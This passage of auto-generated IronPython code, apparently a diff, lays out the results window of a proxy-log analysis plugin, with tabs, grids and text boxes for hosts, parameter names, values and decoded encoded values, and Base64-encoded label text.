ui.Controls.Add(show_results_btn) + ui.ModControls['show_results_btn'] = show_results_btn + status_lbl = ModLabel() + status_lbl.Name = 'status_lbl' + status_lbl.Size = ModUiTools.GetSizeDefinition(653,23) + status_lbl.Location = ModUiTools.GetLocationDefinition(165,45) + status_lbl.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + status_lbl.Dock = ModUiTools.GetDockStyleDefinition('None') + status_lbl.Enabled = True + status_lbl.BackColor = ModUiTools.GetColorDefinition(-986896) + status_lbl.ForeColor = ModUiTools.GetColorDefinition(-16777216) + status_lbl.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + status_lbl.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + status_lbl.Text = Tools.Base64Decode('ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg') + ui.Controls.Add(status_lbl) + ui.ModControls['status_lbl'] = status_lbl + result_tabs = ModTabControl() + result_tabs.Name = 'result_tabs' + result_tabs.Size = ModUiTools.GetSizeDefinition(875,478) + result_tabs.Location = ModUiTools.GetLocationDefinition(5,80) + result_tabs.Anchor = ModUiTools.GetAnchorStyleDefinition(True,True,True,True) + result_tabs.Dock = ModUiTools.GetDockStyleDefinition('None') + result_tabs.Enabled = True + result_tabs.BackColor = ModUiTools.GetColorDefinition(-986896) + result_tabs.ForeColor = ModUiTools.GetColorDefinition(-16777216) + result_tabs.TabPages.Add('parameter_names_tab', ' Parameter Names and Values ') + pnv_selected_value_log_ids_tb = ModTextBox() + pnv_selected_value_log_ids_tb.Name = 'pnv_selected_value_log_ids_tb' + pnv_selected_value_log_ids_tb.Size = ModUiTools.GetSizeDefinition(313,55) + pnv_selected_value_log_ids_tb.Location = ModUiTools.GetLocationDefinition(550,393) + pnv_selected_value_log_ids_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + pnv_selected_value_log_ids_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + pnv_selected_value_log_ids_tb.Enabled = True + pnv_selected_value_log_ids_tb.BackColor = ModUiTools.GetColorDefinition(-1) + pnv_selected_value_log_ids_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + pnv_selected_value_log_ids_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + pnv_selected_value_log_ids_tb.ReadOnly = True + pnv_selected_value_log_ids_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + pnv_selected_value_log_ids_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + pnv_selected_value_log_ids_tb.Multiline = True + pnv_selected_value_log_ids_tb.WordWrap = True + pnv_selected_value_log_ids_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['parameter_names_tab'].Controls.Add(pnv_selected_value_log_ids_tb) + ui.ModControls['pnv_selected_value_log_ids_tb'] = pnv_selected_value_log_ids_tb + selected_value_log_ids_lbl = ModLabel() + selected_value_log_ids_lbl.Name = 'selected_value_log_ids_lbl' + selected_value_log_ids_lbl.Size = ModUiTools.GetSizeDefinition(303,16) + selected_value_log_ids_lbl.Location = ModUiTools.GetLocationDefinition(548,374) + selected_value_log_ids_lbl.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + selected_value_log_ids_lbl.Dock = ModUiTools.GetDockStyleDefinition('None') + selected_value_log_ids_lbl.Enabled = True + selected_value_log_ids_lbl.BackColor = ModUiTools.GetColorDefinition(-986896) + selected_value_log_ids_lbl.ForeColor = ModUiTools.GetColorDefinition(-16777216) + selected_value_log_ids_lbl.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + selected_value_log_ids_lbl.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + selected_value_log_ids_lbl.Text = Tools.Base64Decode('UHJveHkgTG9nIElEcyBvZiBSZXF1ZXN0cy9SZXNwb25zZXMgY29udGFpbmluZyB0aGlzIHZhbHVlOg==') + result_tabs.TabPages['parameter_names_tab'].Controls.Add(selected_value_log_ids_lbl) + ui.ModControls['selected_value_log_ids_lbl'] = selected_value_log_ids_lbl + select_value_lbl = ModLabel() + select_value_lbl.Name = 'select_value_lbl' + select_value_lbl.Size = ModUiTools.GetSizeDefinition(100,15) + select_value_lbl.Location = ModUiTools.GetLocationDefinition(548,268) + select_value_lbl.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + select_value_lbl.Dock = ModUiTools.GetDockStyleDefinition('None') + select_value_lbl.Enabled = True + select_value_lbl.BackColor = ModUiTools.GetColorDefinition(-986896) + select_value_lbl.ForeColor = ModUiTools.GetColorDefinition(-16777216) + select_value_lbl.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + select_value_lbl.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + select_value_lbl.Text = Tools.Base64Decode('U2VsZWN0ZWQgVmFsdWU6') + result_tabs.TabPages['parameter_names_tab'].Controls.Add(select_value_lbl) + ui.ModControls['select_value_lbl'] = select_value_lbl + pnv_selected_value_tb = ModTextBox() + pnv_selected_value_tb.Name = 'pnv_selected_value_tb' + pnv_selected_value_tb.Size = ModUiTools.GetSizeDefinition(314,88) + pnv_selected_value_tb.Location = ModUiTools.GetLocationDefinition(550,283) + pnv_selected_value_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + pnv_selected_value_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + pnv_selected_value_tb.Enabled = True + pnv_selected_value_tb.BackColor = ModUiTools.GetColorDefinition(-1) + pnv_selected_value_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + pnv_selected_value_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + pnv_selected_value_tb.ReadOnly = True + pnv_selected_value_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + pnv_selected_value_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + pnv_selected_value_tb.Multiline = True + pnv_selected_value_tb.WordWrap = True + pnv_selected_value_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['parameter_names_tab'].Controls.Add(pnv_selected_value_tb) + ui.ModControls['pnv_selected_value_tb'] = pnv_selected_value_tb + pnv_values_grid = ModDataGridView() + pnv_values_grid.Name = 'pnv_values_grid' + pnv_values_grid.Size = ModUiTools.GetSizeDefinition(315,256) + pnv_values_grid.Location = ModUiTools.GetLocationDefinition(548,3) + pnv_values_grid.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + pnv_values_grid.Dock = ModUiTools.GetDockStyleDefinition('None') + pnv_values_grid.Enabled = True + pnv_values_grid.BackgroundColor = ModUiTools.GetColorDefinition(-1) + pnv_values_grid.ForeColor = ModUiTools.GetColorDefinition(-16777216) + pnv_values_grid.AllowUserToAddRows = False + pnv_values_grid.AllowUserToDeleteRows = False + pnv_values_grid.AllowUserToResizeColumns = True + pnv_values_grid.AllowUserToResizeRows = False + pnv_values_grid.ColumnHeadersVisible = True + pnv_values_grid.RowHeadersVisible = False + pnv_values_grid.GridColor = ModUiTools.GetColorDefinition(-1) + pnv_values_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('ValuesClm', 'DataGridViewTextBoxCell', True, 100, 307, 5, 'Fill', 'U2VsZWN0IGEgVmFsdWUgdG8gdmlldyBkZXRhaWxzOg==')) + pnv_values_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('LogIds', 'DataGridViewTextBoxCell', True, 100, 5, 2, 'NotSet', 'TG9nSWRz')) + pnv_values_grid.CellClick += lambda s,e: self.pnv_values_grid_clicked() + result_tabs.TabPages['parameter_names_tab'].Controls.Add(pnv_values_grid) + ui.ModControls['pnv_values_grid'] = pnv_values_grid + mod_label_5 = ModLabel() + mod_label_5.Name = 'mod_label_5' + mod_label_5.Size = ModUiTools.GetSizeDefinition(254,17) + mod_label_5.Location = ModUiTools.GetLocationDefinition(5,3) + mod_label_5.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_5.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_5.Enabled = True + mod_label_5.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_5.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_5.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_5.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_5.Text = Tools.Base64Decode('VGhlIGZvbGxvd2luZyBob3N0cyB3ZXJlIGZvdW5kIGluIHRoZSBsb2dzLg==') + result_tabs.TabPages['parameter_names_tab'].Controls.Add(mod_label_5) + ui.ModControls['mod_label_5'] = mod_label_5 + pnv_selected_parameter_tb = ModTextBox() + pnv_selected_parameter_tb.Name = 'pnv_selected_parameter_tb' + pnv_selected_parameter_tb.Size = ModUiTools.GetSizeDefinition(277,32) + pnv_selected_parameter_tb.Location = ModUiTools.GetLocationDefinition(265,265) + pnv_selected_parameter_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + pnv_selected_parameter_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + pnv_selected_parameter_tb.Enabled = True + pnv_selected_parameter_tb.BackColor = ModUiTools.GetColorDefinition(-1) + pnv_selected_parameter_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + pnv_selected_parameter_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + pnv_selected_parameter_tb.ReadOnly = True + pnv_selected_parameter_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + pnv_selected_parameter_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + pnv_selected_parameter_tb.Multiline = True + pnv_selected_parameter_tb.WordWrap = True + pnv_selected_parameter_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['parameter_names_tab'].Controls.Add(pnv_selected_parameter_tb) + ui.ModControls['pnv_selected_parameter_tb'] = pnv_selected_parameter_tb + pnv_selected_host_tb = ModTextBox() + pnv_selected_host_tb.Name = 'pnv_selected_host_tb' + pnv_selected_host_tb.Size = ModUiTools.GetSizeDefinition(254,32) + pnv_selected_host_tb.Location = ModUiTools.GetLocationDefinition(5,416) + pnv_selected_host_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + pnv_selected_host_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + pnv_selected_host_tb.Enabled = True + pnv_selected_host_tb.BackColor = ModUiTools.GetColorDefinition(-1) + pnv_selected_host_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + pnv_selected_host_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + pnv_selected_host_tb.ReadOnly = True + pnv_selected_host_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + pnv_selected_host_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + pnv_selected_host_tb.Multiline = True + pnv_selected_host_tb.WordWrap = True + pnv_selected_host_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['parameter_names_tab'].Controls.Add(pnv_selected_host_tb) + ui.ModControls['pnv_selected_host_tb'] = pnv_selected_host_tb + pnv_sections_grid = ModDataGridView() + pnv_sections_grid.Name = 'pnv_sections_grid' + pnv_sections_grid.Size = ModUiTools.GetSizeDefinition(277,145) + pnv_sections_grid.Location = ModUiTools.GetLocationDefinition(265,303) + pnv_sections_grid.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + pnv_sections_grid.Dock = ModUiTools.GetDockStyleDefinition('None') + pnv_sections_grid.Enabled = True + pnv_sections_grid.BackgroundColor = ModUiTools.GetColorDefinition(-1) + pnv_sections_grid.ForeColor = ModUiTools.GetColorDefinition(-16777216) + pnv_sections_grid.AllowUserToAddRows = False + pnv_sections_grid.AllowUserToDeleteRows = False + pnv_sections_grid.AllowUserToResizeColumns = True + pnv_sections_grid.AllowUserToResizeRows = False + pnv_sections_grid.ColumnHeadersVisible = True + pnv_sections_grid.RowHeadersVisible = False + pnv_sections_grid.GridColor = ModUiTools.GetColorDefinition(-1) + pnv_sections_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('SectionCln', 'DataGridViewTextBoxCell', True, 100, 274, 5, 'Fill', 'U2VsZWN0IGEgU2VjdGlvbg==')) + pnv_sections_grid.CellClick += lambda s,e: self.pnv_sections_grid_clicked() + result_tabs.TabPages['parameter_names_tab'].Controls.Add(pnv_sections_grid) + ui.ModControls['pnv_sections_grid'] = pnv_sections_grid + pnv_hosts_grid = ModDataGridView() + pnv_hosts_grid.Name = 'pnv_hosts_grid' + pnv_hosts_grid.Size = ModUiTools.GetSizeDefinition(254,387) + pnv_hosts_grid.Location = ModUiTools.GetLocationDefinition(5,23) + pnv_hosts_grid.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + pnv_hosts_grid.Dock = ModUiTools.GetDockStyleDefinition('None') + pnv_hosts_grid.Enabled = True + pnv_hosts_grid.BackgroundColor = ModUiTools.GetColorDefinition(-1) + pnv_hosts_grid.ForeColor = ModUiTools.GetColorDefinition(-16777216) + pnv_hosts_grid.AllowUserToAddRows = False + pnv_hosts_grid.AllowUserToDeleteRows = False + pnv_hosts_grid.AllowUserToResizeColumns = True + pnv_hosts_grid.AllowUserToResizeRows = False + pnv_hosts_grid.ColumnHeadersVisible = True + pnv_hosts_grid.RowHeadersVisible = False + pnv_hosts_grid.GridColor = ModUiTools.GetColorDefinition(-1) + pnv_hosts_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('HostCln', 'DataGridViewTextBoxCell', True, 100, 251, 5, 'Fill', 'U2VsZWN0IGEgSG9zdA==')) + pnv_hosts_grid.CellClick += lambda s,e: self.pnv_hosts_grid_clicked() + result_tabs.TabPages['parameter_names_tab'].Controls.Add(pnv_hosts_grid) + ui.ModControls['pnv_hosts_grid'] = pnv_hosts_grid + pnv_parameters_grid = ModDataGridView() + pnv_parameters_grid.Name = 'pnv_parameters_grid' + pnv_parameters_grid.Size = ModUiTools.GetSizeDefinition(277,256) + pnv_parameters_grid.Location = ModUiTools.GetLocationDefinition(265,3) + pnv_parameters_grid.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + pnv_parameters_grid.Dock = ModUiTools.GetDockStyleDefinition('None') + pnv_parameters_grid.Enabled = True + pnv_parameters_grid.BackgroundColor = ModUiTools.GetColorDefinition(-1) + pnv_parameters_grid.ForeColor = ModUiTools.GetColorDefinition(-16777216) + pnv_parameters_grid.AllowUserToAddRows = False + pnv_parameters_grid.AllowUserToDeleteRows = False + pnv_parameters_grid.AllowUserToResizeColumns = True + pnv_parameters_grid.AllowUserToResizeRows = False + pnv_parameters_grid.ColumnHeadersVisible = True + pnv_parameters_grid.RowHeadersVisible = False + pnv_parameters_grid.GridColor = ModUiTools.GetColorDefinition(-1) + pnv_parameters_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('ID', 'DataGridViewTextBoxCell', True, 100, 5, 2, 'NotSet', 'SUQ=')) + pnv_parameters_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('Parameter Names', 'DataGridViewTextBoxCell', True, 100, 269, 5, 'Fill', 'U2VsZWN0IGEgUGFyYW1ldGVyIE5hbWU=')) + pnv_parameters_grid.CellClick += lambda s,e: self.pnv_parameters_grid_clicked() + result_tabs.TabPages['parameter_names_tab'].Controls.Add(pnv_parameters_grid) + ui.ModControls['pnv_parameters_grid'] = pnv_parameters_grid + result_tabs.TabPages.Add('encoded_parameters_tab', ' Encoded Parameter Values ') + mod_label_2 = ModLabel() + mod_label_2.Name = 'mod_label_2' + mod_label_2.Size = ModUiTools.GetSizeDefinition(205,17) + mod_label_2.Location = ModUiTools.GetLocationDefinition(252,388) + mod_label_2.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_2.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_2.Enabled = True + mod_label_2.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_2.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_2.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_2.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_2.Text = Tools.Base64Decode('UGFyYW1ldGVycyBuYW1lcyBjb250YWluaW5nIHRoaXMgdmFsdWU6') + result_tabs.TabPages['encoded_parameters_tab'].Controls.Add(mod_label_2) + ui.ModControls['mod_label_2'] = mod_label_2 + enc_parameter_names_tb = ModTextBox() + enc_parameter_names_tb.Name = 'enc_parameter_names_tb' + enc_parameter_names_tb.Size = ModUiTools.GetSizeDefinition(270,41) + enc_parameter_names_tb.Location = ModUiTools.GetLocationDefinition(251,408) + enc_parameter_names_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + enc_parameter_names_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + enc_parameter_names_tb.Enabled = True + enc_parameter_names_tb.BackColor = ModUiTools.GetColorDefinition(-1) + enc_parameter_names_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + enc_parameter_names_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + enc_parameter_names_tb.ReadOnly = True + enc_parameter_names_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + enc_parameter_names_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + enc_parameter_names_tb.Multiline = True + enc_parameter_names_tb.WordWrap = True + enc_parameter_names_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['encoded_parameters_tab'].Controls.Add(enc_parameter_names_tb) + ui.ModControls['enc_parameter_names_tb'] = enc_parameter_names_tb + mod_label_3 = ModLabel() + mod_label_3.Name = 'mod_label_3' + mod_label_3.Size = ModUiTools.GetSizeDefinition(167,14) + mod_label_3.Location = ModUiTools.GetLocationDefinition(251,9) + mod_label_3.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_3.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_3.Enabled = True + mod_label_3.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_3.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_3.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_3.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_3.Text = Tools.Base64Decode('U2VsZWN0IGFueSBpdGVtIHRvIHZpZXcgZGV0YWlsczo=') + result_tabs.TabPages['encoded_parameters_tab'].Controls.Add(mod_label_3) + ui.ModControls['mod_label_3'] = mod_label_3 + mod_label_4 = ModLabel() + mod_label_4.Name = 'mod_label_4' + mod_label_4.Size = ModUiTools.GetSizeDefinition(301,18) + mod_label_4.Location = ModUiTools.GetLocationDefinition(527,388) + mod_label_4.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_4.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_4.Enabled = True + mod_label_4.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_4.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_4.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_4.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_4.Text = Tools.Base64Decode('UHJveHkgTG9nIElEcyBvZiBSZXF1ZXN0cy9SZXNwb25zZXMgY29udGFpbmluZyB0aGlzIHZhbHVlOg==') + result_tabs.TabPages['encoded_parameters_tab'].Controls.Add(mod_label_4) + ui.ModControls['mod_label_4'] = mod_label_4 + enc_log_ids_tb = ModTextBox() + enc_log_ids_tb.Name = 'enc_log_ids_tb' + enc_log_ids_tb.Size = ModUiTools.GetSizeDefinition(336,38) + enc_log_ids_tb.Location = ModUiTools.GetLocationDefinition(527,409) + enc_log_ids_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + enc_log_ids_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + enc_log_ids_tb.Enabled = True + enc_log_ids_tb.BackColor = ModUiTools.GetColorDefinition(-1) + enc_log_ids_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + enc_log_ids_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + enc_log_ids_tb.ReadOnly = True + enc_log_ids_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + enc_log_ids_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + enc_log_ids_tb.Multiline = True + enc_log_ids_tb.WordWrap = True + enc_log_ids_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['encoded_parameters_tab'].Controls.Add(enc_log_ids_tb) + ui.ModControls['enc_log_ids_tb'] = enc_log_ids_tb + mod_label_6 = ModLabel() + mod_label_6.Name = 'mod_label_6' + mod_label_6.Size = ModUiTools.GetSizeDefinition(100,14) + mod_label_6.Location = ModUiTools.GetLocationDefinition(527,300) + mod_label_6.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_6.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_6.Enabled = True + mod_label_6.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_6.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_6.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_6.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_6.Text = Tools.Base64Decode('RGVjb2RlZCBWYWx1ZTo=') + result_tabs.TabPages['encoded_parameters_tab'].Controls.Add(mod_label_6) + ui.ModControls['mod_label_6'] = mod_label_6 + mod_label_7 = ModLabel() + mod_label_7.Name = 'mod_label_7' + mod_label_7.Size = ModUiTools.GetSizeDefinition(100,14) + mod_label_7.Location = ModUiTools.GetLocationDefinition(251,300) + mod_label_7.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_7.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_7.Enabled = True + mod_label_7.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_7.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_7.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_7.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_7.Text = Tools.Base64Decode('T3JpZ25hbCBWYWx1ZTo=') + result_tabs.TabPages['encoded_parameters_tab'].Controls.Add(mod_label_7) + ui.ModControls['mod_label_7'] = mod_label_7 + enc_decoded_value_tb = ModTextBox() + enc_decoded_value_tb.Name = 'enc_decoded_value_tb' + enc_decoded_value_tb.Size = ModUiTools.GetSizeDefinition(336,68) + enc_decoded_value_tb.Location = ModUiTools.GetLocationDefinition(527,317) + enc_decoded_value_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + enc_decoded_value_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + enc_decoded_value_tb.Enabled = True + enc_decoded_value_tb.BackColor = ModUiTools.GetColorDefinition(-1) + enc_decoded_value_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + enc_decoded_value_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + enc_decoded_value_tb.ReadOnly = True + enc_decoded_value_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + enc_decoded_value_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + enc_decoded_value_tb.Multiline = True + enc_decoded_value_tb.WordWrap = True + enc_decoded_value_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['encoded_parameters_tab'].Controls.Add(enc_decoded_value_tb) + ui.ModControls['enc_decoded_value_tb'] = enc_decoded_value_tb + enc_original_value_tb = ModTextBox() + enc_original_value_tb.Name = 'enc_original_value_tb' + enc_original_value_tb.Size = ModUiTools.GetSizeDefinition(270,68) + enc_original_value_tb.Location = ModUiTools.GetLocationDefinition(251,317) + enc_original_value_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + enc_original_value_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + enc_original_value_tb.Enabled = True + enc_original_value_tb.BackColor = ModUiTools.GetColorDefinition(-1) + enc_original_value_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + enc_original_value_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + enc_original_value_tb.ReadOnly = True + enc_original_value_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + enc_original_value_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + enc_original_value_tb.Multiline = True + enc_original_value_tb.WordWrap = True + enc_original_value_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['encoded_parameters_tab'].Controls.Add(enc_original_value_tb) + ui.ModControls['enc_original_value_tb'] = enc_original_value_tb + enc_values_grid = ModDataGridView() + enc_values_grid.Name = 'enc_values_grid' + enc_values_grid.Size = ModUiTools.GetSizeDefinition(612,268) + enc_values_grid.Location = ModUiTools.GetLocationDefinition(251,26) + enc_values_grid.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + enc_values_grid.Dock = ModUiTools.GetDockStyleDefinition('None') + enc_values_grid.Enabled = True + enc_values_grid.BackgroundColor = ModUiTools.GetColorDefinition(-1) + enc_values_grid.ForeColor = ModUiTools.GetColorDefinition(-16777216) + enc_values_grid.AllowUserToAddRows = False + enc_values_grid.AllowUserToDeleteRows = False + enc_values_grid.AllowUserToResizeColumns = True + enc_values_grid.AllowUserToResizeRows = False + enc_values_grid.ColumnHeadersVisible = True + enc_values_grid.RowHeadersVisible = False + enc_values_grid.GridColor = ModUiTools.GetColorDefinition(-1) + enc_values_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('OriginalValue', 'DataGridViewTextBoxCell', True, 100, 265, 5, 'Fill', 'T3JpZ2luYWxWYWx1ZQ==')) + enc_values_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('Encoding Type', 'DataGridViewTextBoxCell', True, 100, 70, 70, 'None', 'RW5jb2Rpbmc=')) + enc_values_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('Decoded Value', 'DataGridViewTextBoxCell', True, 100, 264, 5, 'Fill', 'RGVjb2RlZCBWYWx1ZQ==')) + enc_values_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('LogIds', 'DataGridViewTextBoxCell', True, 100, 5, 2, 'NotSet', 'TG9nSWRz')) + enc_values_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('ParameterNames', 'DataGridViewTextBoxCell', False, 100, 5, 2, 'NotSet', 'UGFyYW1ldGVyTmFtZXM=')) + enc_values_grid.CellClick += lambda s,e: self.enc_values_grid_click() + result_tabs.TabPages['encoded_parameters_tab'].Controls.Add(enc_values_grid) + ui.ModControls['enc_values_grid'] = enc_values_grid + enc_selected_host_tb = ModTextBox() + enc_selected_host_tb.Name = 'enc_selected_host_tb' + enc_selected_host_tb.Size = ModUiTools.GetSizeDefinition(245,39) + enc_selected_host_tb.Location = ModUiTools.GetLocationDefinition(0,408) + enc_selected_host_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + enc_selected_host_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + enc_selected_host_tb.Enabled = True + enc_selected_host_tb.BackColor = ModUiTools.GetColorDefinition(-1) + enc_selected_host_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + enc_selected_host_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + enc_selected_host_tb.ReadOnly = True + enc_selected_host_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + enc_selected_host_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + enc_selected_host_tb.Multiline = True + enc_selected_host_tb.WordWrap = True + enc_selected_host_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['encoded_parameters_tab'].Controls.Add(enc_selected_host_tb) + ui.ModControls['enc_selected_host_tb'] = enc_selected_host_tb + enc_hosts_grid = ModDataGridView() + enc_hosts_grid.Name = 'enc_hosts_grid' + enc_hosts_grid.Size = ModUiTools.GetSizeDefinition(242,376) + enc_hosts_grid.Location = ModUiTools.GetLocationDefinition(3,26) + enc_hosts_grid.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + enc_hosts_grid.Dock = ModUiTools.GetDockStyleDefinition('None') + enc_hosts_grid.Enabled = True + enc_hosts_grid.BackgroundColor = ModUiTools.GetColorDefinition(-1) + enc_hosts_grid.ForeColor = ModUiTools.GetColorDefinition(-16777216) + enc_hosts_grid.AllowUserToAddRows = False + enc_hosts_grid.AllowUserToDeleteRows = False + enc_hosts_grid.AllowUserToResizeColumns = True + enc_hosts_grid.AllowUserToResizeRows = False + enc_hosts_grid.ColumnHeadersVisible = True + enc_hosts_grid.RowHeadersVisible = False + enc_hosts_grid.GridColor = ModUiTools.GetColorDefinition(-1) + enc_hosts_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('Host', 'DataGridViewTextBoxCell', True, 100, 239, 5, 'Fill', 